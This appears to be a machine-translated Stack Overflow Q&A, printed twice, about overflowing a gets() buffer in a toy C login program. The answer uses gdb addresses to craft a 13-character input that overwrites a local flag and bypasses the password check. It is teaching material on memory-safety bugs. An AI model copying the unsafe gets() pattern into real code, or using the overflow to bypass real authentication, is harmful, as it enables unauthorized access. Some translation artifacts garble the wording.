不改变return地址的缓冲区溢出攻击
Buffer overflow attack without changing the return address
我需要在下面的示例代码中调用登录功能。我们可以通过使用缓冲区溢出攻击直接将 return 地址更改为登录函数来实现这一点。但我需要保持 return 地址不变。有没有其他方法可以在不更改 return 地址的情况下打印登录消息?
char getPass()
{
int flag = 'F';
char pass[10];
gets(pass);
return (char) flag;
}
void login()
{
printf("Logged in");
exit(0);
}
void main()
{
printf("Enter Passwd");
if(getPass() == 'T')
{
login();
}else{
print("Failed");
exit(1);
}
}
让它工作取决于编译器如何决定 ar运行ge 变量。如果 flag
在 pass
之后出现在内存中,那么输入的字符多于 pass
将导致 flag
被覆盖。
当我在调试器中 运行 这个程序并打印这些变量的地址时,我得到以下信息:
(gdb) start
Temporary breakpoint 1 at 0x40060e: file x1.c, line 19.
Starting program: /home/dbush/./x1
Temporary breakpoint 1, main () at x1.c:19
19 printf("Enter Passwd");
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.x86_64
(gdb) step
20 if(getPass() == 'T')
(gdb)
getPass () at x1.c:6
6 int flag = 'F';
(gdb)
8 gets(pass);
(gdb) p pass
= "[=10=]0[=10=]0[=10=]0[=10=]0[=10=]0[=10=]0[=10=]0[=10=]0", <incomplete sequence 1>
(gdb) p &pass
= (char (*)[10]) 0x7fffffffdec0
(gdb) p &flag
= (int *) 0x7fffffffdecc
我们可以看到 在这个特定实例中 flag
比 pass
开始后 12 个字节。我的机器也是little-endian,也就是说flag
的4个字节的第一个包含要覆盖的值
所以我们可以通过输入13个字符来利用缓冲区溢出漏洞,最后一个是T
。这导致 10 个字符被写入 pass
,另外两个被写入 pass
和 flag
之间的填充字节,flag
的第一个字节中的字符 T
, flag
的第二个字节中终止的空字节为 0。现在变量 flag
包含 'T'
,这是从函数中得到的 return。
另请注意,这样做不会将过去的 flag
写入函数的 return 值。这是可能的,因为 flag
是一个 int
并且使用小端字节序。
样本input/output:
[dbush@db-centos7 ~]$ ./x1
Enter Passwd1234567890TTT
Logged in[dbush@db-centos7 ~]$
我需要在下面的示例代码中调用登录功能。我们可以通过使用缓冲区溢出攻击直接将 return 地址更改为登录函数来实现这一点。但我需要保持 return 地址不变。有没有其他方法可以在不更改 return 地址的情况下打印登录消息?
char getPass()
{
int flag = 'F';
char pass[10];
gets(pass);
return (char) flag;
}
void login()
{
printf("Logged in");
exit(0);
}
void main()
{
printf("Enter Passwd");
if(getPass() == 'T')
{
login();
}else{
print("Failed");
exit(1);
}
}
让它工作取决于编译器如何决定 ar运行ge 变量。如果 flag
在 pass
之后出现在内存中,那么输入的字符多于 pass
将导致 flag
被覆盖。
当我在调试器中 运行 这个程序并打印这些变量的地址时,我得到以下信息:
(gdb) start
Temporary breakpoint 1 at 0x40060e: file x1.c, line 19.
Starting program: /home/dbush/./x1
Temporary breakpoint 1, main () at x1.c:19
19 printf("Enter Passwd");
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.x86_64
(gdb) step
20 if(getPass() == 'T')
(gdb)
getPass () at x1.c:6
6 int flag = 'F';
(gdb)
8 gets(pass);
(gdb) p pass
= "[=10=]0[=10=]0[=10=]0[=10=]0[=10=]0[=10=]0[=10=]0[=10=]0", <incomplete sequence 1>
(gdb) p &pass
= (char (*)[10]) 0x7fffffffdec0
(gdb) p &flag
= (int *) 0x7fffffffdecc
我们可以看到 在这个特定实例中 flag
比 pass
开始后 12 个字节。我的机器也是little-endian,也就是说flag
的4个字节的第一个包含要覆盖的值
所以我们可以通过输入13个字符来利用缓冲区溢出漏洞,最后一个是T
。这导致 10 个字符被写入 pass
,另外两个被写入 pass
和 flag
之间的填充字节,flag
的第一个字节中的字符 T
, flag
的第二个字节中终止的空字节为 0。现在变量 flag
包含 'T'
,这是从函数中得到的 return。
另请注意,这样做不会将过去的 flag
写入函数的 return 值。这是可能的,因为 flag
是一个 int
并且使用小端字节序。
样本input/output:
[dbush@db-centos7 ~]$ ./x1
Enter Passwd1234567890TTT
Logged in[dbush@db-centos7 ~]$